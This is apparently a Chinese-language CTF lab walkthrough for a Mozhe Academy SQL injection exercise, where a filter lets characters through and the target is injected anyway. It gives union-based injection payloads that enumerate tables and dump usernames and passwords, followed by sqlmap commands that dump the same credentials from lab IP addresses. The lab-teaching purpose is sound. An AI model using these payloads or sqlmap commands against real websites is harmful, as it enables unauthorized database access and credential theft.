当前位置: 首页 > news >正文

墨者:SQL过滤字符后手工注入漏洞测试(第3题)

1. 墨者学院:SQL过滤字符后手工注入漏洞测试(第3题)🚀

因为练习过太多的sql注入,废话不多介绍,我会通过围绕手动注入和工具爆破的方式达到靶场目标,开练!!!

2. 手工注入方式🎯

测试从"http://124.70.71.251:43066/new_list.php?"开始,以自己的靶场地址为准。

2.1 确定字段数⚡

常见注入点:id=1 and 1=2,id=1'id=1"等等,本次靶场是单引号闭合。

id=1' order by 8--+

':单引号用于闭合SQL语句中的字符串
order by:用于确定查询结果集的列数 ,字段max=7
--+:注释掉后续SQL语句,避免语法错误

[截图位置]

2.2 确认显示位⚡

id=-1' union select 1,2,3,4,5,6,7--+

union select:联合查询,用于显示可回显的字段位置
-1:确保原查询不返回结果,只显示union select的结果

[截图位置]

2.3 获取基本信息⚡

id=-1' union select 1,database(),version(),user(),5,6,7--+

database():获取当前数据库名称
version():获取数据库版本信息
user():获取当前数据库用户

[截图位置]

2.4 获取表名⚡

id=-1' union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='min_ju4t_mel1i'--+

information_schema.tables:系统表,存储所有表信息
group_concat():将多行结果合并为一行
table_schema:指定数据库名称

[截图位置]

2.5 获取列名⚡

id=-1' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='(@dmin9_td4b}'--+

information_schema.columns:系统表,存储所有列信息
table_name:指定要查询的表名

[截图位置]

2.6 获取数据⚡

id=-1' union select 1,group_concat(username),group_concat(password),4,5,6,7 from `(@dmin9_td4b}`--+

username,password:目标表的敏感字段
反引号`:用于包裹特殊表名

[截图位置]

3. sqlmap工具测试🎯

3.1 获取所有数据库⚡

python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" --dbs --batch

--dbs:枚举所有数据库
--batch:自动选择默认选项

[截图位置]

3.2 获取指定数据库的表⚡

python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i --tables --batch

-D:指定数据库
--tables:枚举指定数据库的所有表

[截图位置]

3.3 获取表的列⚡

python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i -T (@dmin9_td4b} --columns --batch

-T:指定表名
--columns:枚举指定表的所有列

[截图位置]

3.4 导出数据⚡

python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i -T (@dmin9_td4b} -C id,username,password,status --dump --batch

-C:指定要导出的列
--dump:导出指定表的数据

[截图位置]

3.5 清理缓存⚡

python sqlmap.py --purge

--purge:清除sqlmap缓存文件
该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap指令获取如下:

python sqlmap.py -h

4. 总结🏁

本次测试通过手工注入和sqlmap工具两种方式完成了SQL注入漏洞测试:

  1. 手工注入需要逐步构造payload,理解SQL语法
  2. sqlmap自动化程度高,但需要正确使用参数
  3. 目标网站存在明显的SQL注入漏洞,建议修复
  4. 特殊字符过滤不彻底,导致注入成功

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.dtcms.com/a/305281.html

相关文章:

  • MC0244多重堡垒
  • kotlin使用mybatis plus lambdaQuery报错
  • Java中什么是类加载?类加载的过程?
  • TGD第八篇:二维应用——图像边缘检测
  • FastAPI入门:Cookie参数、Header参数、Cookie参数模型、Header参数模型
  • 移动端 WebView 调试实战,多平台行为差异排查与统一调试流程
  • Gartner发布CTEM指南:使用持续威胁暴露管理来减少网络攻击
  • 应急前端“黄金3分钟”设计:极端场景下的操作界面极速搭建技术
  • COPRAS(Complex Proportional Assessment)简介与简单示例
  • 汇总10个高质量免费AI生成论文网站,支持GPT4.0和DeepSeek-R1
  • [学习记录]URP流程解析(2)--初始化阶段
  • 最新优茗导航系统源码/全开源版本/精美UI/带后台/附教程
  • Effective_C++09: 绝不在构造和析构过程中调用virtual函数
  • 【解决办法】pip install albumentations安装下载遇19kB/s超级慢细水管
  • 无代码测试平台ATECLOUD全场景测试方案
  • Java中Boolean.getBoolean方法误用与修复
  • 【监控】非IP监控系统改造IP监控系统
  • 中科米堆CASAIM空调扇叶自动蓝光三维测量解决方案
  • <RT1176系列12>DMAMUX入门级应用和DMAMUX MAP表
  • Linux定时器和时间管理源码相关总结
  • 【Unity编辑器扩展】Unity场景选择工具 - ScenesChooseTool 使用指南
  • 项目历程—生命数组游戏(两版本)
  • 智源研究院发布数据魔方,以智能化自定义方式重构模型训练数据供给范式
  • 两数之和(每天刷力扣hot100系列)
  • JDK17 新特性跟学梳理
  • Java注解全面解析与应用实战
  • Redis 跨主机连接超时分析:从网络波动到架构优化
  • 关于算法的一些思考
  • 基于springboot的零食商城的设计与实现/零食销售系统的设计与实现
  • 基于Matlab图像处理的静态雨滴去除与质量评估系统